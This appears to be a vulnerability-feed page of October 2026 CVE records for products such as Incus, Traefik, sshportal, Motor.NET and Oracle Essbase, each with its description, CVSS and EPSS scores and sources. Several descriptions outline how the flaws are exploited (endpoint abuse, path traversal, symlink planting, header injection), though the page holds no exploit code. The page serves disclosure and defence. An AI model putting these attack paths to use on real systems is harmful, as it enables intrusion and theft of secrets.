Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper sanitization in the registration module allows reflected Cross-Site Scripting.
https://kevwire.com/record/CVE-2026-87901
Improper sanitization in the registration module allows reflected Cross-Site Scripting. (Oct 23, 2026).
Improper sanitization in the registration module allows reflected Cross-Site Scripting.
CVSS 8.3 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87901).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87901&date=2026-10-25).
Sources:
NVD CVE-2026-87901: https://nvd.nist.gov/vuln/detail/CVE-2026-87901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87901&date=2026-10-25
Improper sanitization in the registration module allows reflected Cross-Site Scripting.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Misaka Danmu Server through 2.8.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to write arbitrary configuration keys via the unprotected...
https://kevwire.com/record/CVE-2026-111643
Misaka Danmu Server through 2.8.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to write arbitrary configuration keys via the unprotected... (Oct 16, 2026).
Misaka Danmu Server through 2.8.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to write arbitrary configuration keys via the unprotected POST /api/ui/config-history/rollback endpoint. Attackers can set the ipWhitelist key to their own /32 address, or alter trustedProxies and webhookApiKey, to access every protected endpoint as the administrator.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111643).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111643&date=2026-10-25).
Sources:
NVD CVE-2026-111643: https://nvd.nist.gov/vuln/detail/CVE-2026-111643
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111643&date=2026-10-25
Misaka Danmu Server through 2.8.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to write arbitrary configuration keys via the unprotected POST /api/ui/config-history/rollback endpoint. Attackers can set the ipWhitelist key to their own /32 address, or alter trustedProxies and webhookApiKey, to access every protected endpoint as the administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### sshportal through 1.19.5 contains a missing authorization vulnerability in the management shell 'key show' command that allows authenticated non-admin users to obtain decrypted...
https://kevwire.com/record/CVE-2026-111638
sshportal through 1.19.5 contains a missing authorization vulnerability in the management shell 'key show' command that allows authenticated non-admin users to obtain decrypted... (Oct 16, 2026).
sshportal through 1.19.5 contains a missing authorization vulnerability in the management shell 'key show' command that allows authenticated non-admin users to obtain decrypted backend private SSH keys. Attackers can request predictable key names like 'default' or 'host' to retrieve private keys and connect directly to backend hosts, bypassing ACLs and session recording.
CVSS 8.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111638).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111638&date=2026-10-25).
Sources:
NVD CVE-2026-111638: https://nvd.nist.gov/vuln/detail/CVE-2026-111638
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111638&date=2026-10-25
sshportal through 1.19.5 contains a missing authorization vulnerability in the management shell 'key show' command that allows authenticated non-admin users to obtain decrypted backend private SSH keys. Attackers can request predictable key names like 'default' or 'host' to retrieve private keys and connect directly to backend hosts, bypassing ACLs and session recording.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OS command injection in the Terraform hook in AWS SAM CLI before 1.166.2 might allow an actor who can influence the Terraform configuration or plan file consumed by a build to...
https://kevwire.com/record/CVE-2026-115414
OS command injection in the Terraform hook in AWS SAM CLI before 1.166.2 might allow an actor who can influence the Terraform configuration or plan file consumed by a build to... (Oct 22, 2026).
OS command injection in the Terraform hook in AWS SAM CLI before 1.166.2 might allow an actor who can influence the Terraform configuration or plan file consumed by a build to execute arbitrary commands as the build user on the host running the build via a crafted Terraform resource address.



To remediate this issue, users should upgrade to version 1.166.2 or later.
CVSS 8.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115414).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115414&date=2026-10-25).
Sources:
NVD CVE-2026-115414: https://nvd.nist.gov/vuln/detail/CVE-2026-115414
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115414&date=2026-10-25
OS command injection in the Terraform hook in AWS SAM CLI before 1.166.2 might allow an actor who can influence the Terraform configuration or plan file consumed by a build to execute arbitrary commands as the build user on the host running the build via a crafted Terraform resource address.



To remediate this issue, users should upgrade to version 1.166.2 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory allocation with excessive size value in the MQTT 3.1.1 compatibility adapter in AWS aws-c-mqtt before 0.16.2 might allow a remote actor to cause a denial of service of the...
https://kevwire.com/record/CVE-2026-115417
Memory allocation with excessive size value in the MQTT 3.1.1 compatibility adapter in AWS aws-c-mqtt before 0.16.2 might allow a remote actor to cause a denial of service of the... (Oct 22, 2026).
Memory allocation with excessive size value in the MQTT 3.1.1 compatibility adapter in AWS aws-c-mqtt before 0.16.2 might allow a remote actor to cause a denial of service of the client application.



To remediate this issue, users should upgrade to aws-c-mqtt 0.16.2 or later, or to an AWS Common Runtime or AWS IoT Device SDK release that bundles it.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115417).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115417&date=2026-10-25).
Sources:
NVD CVE-2026-115417: https://nvd.nist.gov/vuln/detail/CVE-2026-115417
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115417&date=2026-10-25
Memory allocation with excessive size value in the MQTT 3.1.1 compatibility adapter in AWS aws-c-mqtt before 0.16.2 might allow a remote actor to cause a denial of service of the client application.



To remediate this issue, users should upgrade to aws-c-mqtt 0.16.2 or later, or to an AWS Common Runtime or AWS IoT Device SDK release that bundles it.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Agent Zero Web UI before 1.15 does not correctly sanitize user-provided input in chat messages or file uploads.
https://kevwire.com/record/CVE-2026-97635
The Agent Zero Web UI before 1.15 does not correctly sanitize user-provided input in chat messages or file uploads. (Oct 22, 2026).
The Agent Zero Web UI before 1.15 does not correctly sanitize user-provided input in chat messages or file uploads. When Agent Zero reproduces content in the chat interface, any injected JavaScript is executed in the context of the victim’s authenticated Agent Zero Web UI session.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97635).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97635&date=2026-10-25).
Sources:
NVD CVE-2026-97635: https://nvd.nist.gov/vuln/detail/CVE-2026-97635
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97635&date=2026-10-25
The Agent Zero Web UI before 1.15 does not correctly sanitize user-provided input in chat messages or file uploads. When Agent Zero reproduces content in the chat interface, any injected JavaScript is executed in the context of the victim’s authenticated Agent Zero Web UI session.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91664
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91664).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91664&date=2026-10-25).
Sources:
NVD CVE-2026-91664: https://nvd.nist.gov/vuln/detail/CVE-2026-91664
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91664&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Motor.NET before 0.19.0 contains a denial-of-service vulnerability that allows a remote attacker who can produce records to a consumed topic to crash the service permanently by...
https://kevwire.com/record/CVE-2026-112331
Motor.NET before 0.19.0 contains a denial-of-service vulnerability that allows a remote attacker who can produce records to a consumed topic to crash the service permanently by... (Oct 22, 2026).
Motor.NET before 0.19.0 contains a denial-of-service vulnerability that allows a remote attacker who can produce records to a consumed topic to crash the service permanently by sending a single crafted record. By setting the content-type header to application/cloudevents+json and omitting required CloudEvent attributes (id, source, type), the attacker triggers an ArgumentException in KafkaMessageConsumer.SingleMessageHandlingAsync that is treated as fatal, causing the host to stop and re-process the same poison record on every restart, resulting in a permanent crash-loop.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112331).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112331&date=2026-10-25).
Sources:
NVD CVE-2026-112331: https://nvd.nist.gov/vuln/detail/CVE-2026-112331
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112331&date=2026-10-25
Motor.NET before 0.19.0 contains a denial-of-service vulnerability that allows a remote attacker who can produce records to a consumed topic to crash the service permanently by sending a single crafted record. By setting the content-type header to application/cloudevents+json and omitting required CloudEvent attributes (id, source, type), the attacker triggers an ArgumentException in KafkaMessageConsumer.SingleMessageHandlingAsync that is treated as fatal, causing the host to stop and re-process the same poison record on every restart, resulting in a permanent crash-loop.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Motor.NET before 0.19.0 contains an uncaught exception vulnerability in JsonNetDeserializer.Deserialize that allows a remote attacker who can publish to a consumed queue or topic...
https://kevwire.com/record/CVE-2026-112332
Motor.NET before 0.19.0 contains an uncaught exception vulnerability in JsonNetDeserializer.Deserialize that allows a remote attacker who can publish to a consumed queue or topic... (Oct 22, 2026).
Motor.NET before 0.19.0 contains an uncaught exception vulnerability in JsonNetDeserializer.Deserialize that allows a remote attacker who can publish to a consumed queue or topic to crash the service permanently by sending structurally valid JSON that does not match the handler's expected type. Attackers can exploit the fact that JsonSerializationException is not caught alongside JsonReaderException and InvalidCastException, causing TypedConsumerService.SingleMessageConsumeAsync to treat the error as CriticalFailure and call StopApplication, which combined with the unacknowledged message being redelivered on restart results in a permanent crash-loop.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112332).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112332&date=2026-10-25).
Sources:
NVD CVE-2026-112332: https://nvd.nist.gov/vuln/detail/CVE-2026-112332
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112332&date=2026-10-25
Motor.NET before 0.19.0 contains an uncaught exception vulnerability in JsonNetDeserializer.Deserialize that allows a remote attacker who can publish to a consumed queue or topic to crash the service permanently by sending structurally valid JSON that does not match the handler's expected type. Attackers can exploit the fact that JsonSerializationException is not caught alongside JsonReaderException and InvalidCastException, causing TypedConsumerService.SingleMessageConsumeAsync to treat the error as CriticalFailure and call StopApplication, which combined with the unacknowledged message being redelivered on restart results in a permanent crash-loop.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incus 6.0.3 before 6.0.7, 6.6.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an improper authorization vulnerability that allows restricted TLS clients to read storage bucket...
https://kevwire.com/record/CVE-2026-115371
Incus 6.0.3 before 6.0.7, 6.6.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an improper authorization vulnerability that allows restricted TLS clients to read storage bucket... (Oct 22, 2026).
Incus 6.0.3 before 6.0.7, 6.6.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an improper authorization vulnerability that allows restricted TLS clients to read storage bucket keys in the default project. Attackers can query the bucket keys endpoints to obtain S3 access and secret keys, then read, modify or delete objects in those buckets.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115371).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115371&date=2026-10-25).
Sources:
NVD CVE-2026-115371: https://nvd.nist.gov/vuln/detail/CVE-2026-115371
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115371&date=2026-10-25
Incus 6.0.3 before 6.0.7, 6.6.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an improper authorization vulnerability that allows restricted TLS clients to read storage bucket keys in the default project. Attackers can query the bucket keys endpoints to obtain S3 access and secret keys, then read, modify or delete objects in those buckets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incus from 7.3.0 before 7.5.0 contains a project restriction bypass that allows restricted project users to set block.create_options through volume update, copy, and move...
https://kevwire.com/record/CVE-2026-115372
Incus from 7.3.0 before 7.5.0 contains a project restriction bypass that allows restricted project users to set block.create_options through volume update, copy, and move... (Oct 22, 2026).
Incus from 7.3.0 before 7.5.0 contains a project restriction bypass that allows restricted project users to set block.create_options through volume update, copy, and move operations. Attackers can set the option on a custom volume and trigger a copy or move onto a formatting pool to inject arguments into mkfs executed as root.
CVSS 9.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115372).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115372&date=2026-10-25).
Sources:
NVD CVE-2026-115372: https://nvd.nist.gov/vuln/detail/CVE-2026-115372
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115372&date=2026-10-25
Incus from 7.3.0 before 7.5.0 contains a project restriction bypass that allows restricted project users to set block.create_options through volume update, copy, and move operations. Attackers can set the option on a custom volume and trigger a copy or move onto a formatting pool to inject arguments into mkfs executed as root.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains a missing authorization vulnerability in GET /1.0/operations/{uuid} that lets project-restricted clients...
https://kevwire.com/record/CVE-2026-115373
Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains a missing authorization vulnerability in GET /1.0/operations/{uuid} that lets project-restricted clients... (Oct 22, 2026).
Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains a missing authorization vulnerability in GET /1.0/operations/{uuid} that lets project-restricted clients read operations in other projects. Attackers holding a restricted certificate and a known operation UUID can retrieve command lines, environment secrets, websocket secrets, and trust enrolment tokens.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115373).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115373&date=2026-10-25).
Sources:
NVD CVE-2026-115373: https://nvd.nist.gov/vuln/detail/CVE-2026-115373
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115373&date=2026-10-25
Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains a missing authorization vulnerability in GET /1.0/operations/{uuid} that lets project-restricted clients read operations in other projects. Attackers holding a restricted certificate and a known operation UUID can retrieve command lines, environment secrets, websocket secrets, and trust enrolment tokens.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a signature verification flaw in its built-in S3 server that allows presigned URL holders to inject unsigned x-amz-*...
https://kevwire.com/record/CVE-2026-115374
Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a signature verification flaw in its built-in S3 server that allows presigned URL holders to inject unsigned x-amz-*... (Oct 22, 2026).
Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a signature verification flaw in its built-in S3 server that allows presigned URL holders to inject unsigned x-amz-* headers. Attackers can add an unsigned X-Amz-Copy-Source header to a presigned upload URL to copy other bucket objects onto the granted key, disclosing their contents and ETags.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115374).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115374&date=2026-10-25).
Sources:
NVD CVE-2026-115374: https://nvd.nist.gov/vuln/detail/CVE-2026-115374
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115374&date=2026-10-25
Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a signature verification flaw in its built-in S3 server that allows presigned URL holders to inject unsigned x-amz-* headers. Attackers can add an unsigned X-Amz-Copy-Source header to a presigned upload URL to copy other bucket objects onto the granted key, disclosing their contents and ETags.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a path traversal vulnerability that allows clients able to create instances to write files on the host.
https://kevwire.com/record/CVE-2026-115375
Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a path traversal vulnerability that allows clients able to create instances to write files on the host. (Oct 22, 2026).
Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a path traversal vulnerability that allows clients able to create instances to write files on the host. The flaw stems from unvalidated dependent custom volume names in instance backup index.yaml files. Attackers can import a crafted instance backup with ../ sequences in dependent volume names to create root-owned directories with controlled content, leading to full host compromise.
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115375).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115375&date=2026-10-25).
Sources:
NVD CVE-2026-115375: https://nvd.nist.gov/vuln/detail/CVE-2026-115375
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115375&date=2026-10-25
Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a path traversal vulnerability that allows clients able to create instances to write files on the host. The flaw stems from unvalidated dependent custom volume names in instance backup index.yaml files. Attackers can import a crafted instance backup with ../ sequences in dependent volume names to create root-owned directories with controlled content, leading to full host compromise.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incus 7.0.1 before 7.0.2 and 7.2.0 before 7.5.0 contains an authorization bypass vulnerability that allows project-restricted clients to copy volumes by omitting source.type.
https://kevwire.com/record/CVE-2026-115376
Incus 7.0.1 before 7.0.2 and 7.2.0 before 7.5.0 contains an authorization bypass vulnerability that allows project-restricted clients to copy volumes by omitting source.type. (Oct 22, 2026).
Incus 7.0.1 before 7.0.2 and 7.2.0 before 7.5.0 contains an authorization bypass vulnerability that allows project-restricted clients to copy volumes by omitting source.type. Attackers can send crafted POST requests to the custom volumes endpoint with a chosen source.project to copy and read other projects' volumes, snapshots, and configuration.
CVSS 8.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115376).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115376&date=2026-10-25).
Sources:
NVD CVE-2026-115376: https://nvd.nist.gov/vuln/detail/CVE-2026-115376
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115376&date=2026-10-25
Incus 7.0.1 before 7.0.2 and 7.2.0 before 7.5.0 contains an authorization bypass vulnerability that allows project-restricted clients to copy volumes by omitting source.type. Attackers can send crafted POST requests to the custom volumes endpoint with a chosen source.project to copy and read other projects' volumes, snapshots, and configuration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability that allows malicious migration sources to write host files by...
https://kevwire.com/record/CVE-2026-115377
Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability that allows malicious migration sources to write host files by... (Oct 22, 2026).
Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability that allows malicious migration sources to write host files by planting symlinks in transferred volumes. Attackers can craft rsync or btrfs receive streams with a symlink such as rootfs pointing to the host root, writing files as root for full host compromise.
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115377).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115377&date=2026-10-25).
Sources:
NVD CVE-2026-115377: https://nvd.nist.gov/vuln/detail/CVE-2026-115377
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115377&date=2026-10-25
Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability that allows malicious migration sources to write host files by planting symlinks in transferred volumes. Attackers can craft rsync or btrfs receive streams with a symlink such as rootfs pointing to the host root, writing files as root for full host compromise.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to...
https://kevwire.com/record/CVE-2026-112778
Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to... (Oct 19, 2026).
Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to Middlewares, ServersTransports, and TLSOptions in other namespaces. Attackers able to create or update Ingress or Service resources in one namespace can set router.middlewares or service.serverstransport annotations to obtain another tenant's injected credentials or reuse its client certificates, bypassing namespace-based tenant isolation.
CVSS 6.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112778).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112778&date=2026-10-25).
Sources:
NVD CVE-2026-112778: https://nvd.nist.gov/vuln/detail/CVE-2026-112778
Vendor advisory (via NVD references): https://github.com/traefik/traefik/security/advisories/GHSA-rh7m-2m44-x32f
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112778&date=2026-10-25
Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to Middlewares, ServersTransports, and TLSOptions in other namespaces. Attackers able to create or update Ingress or Service resources in one namespace can set router.middlewares or service.serverstransport annotations to obtain another tenant's injected credentials or reuse its client certificates, bypassing namespace-based tenant isolation.

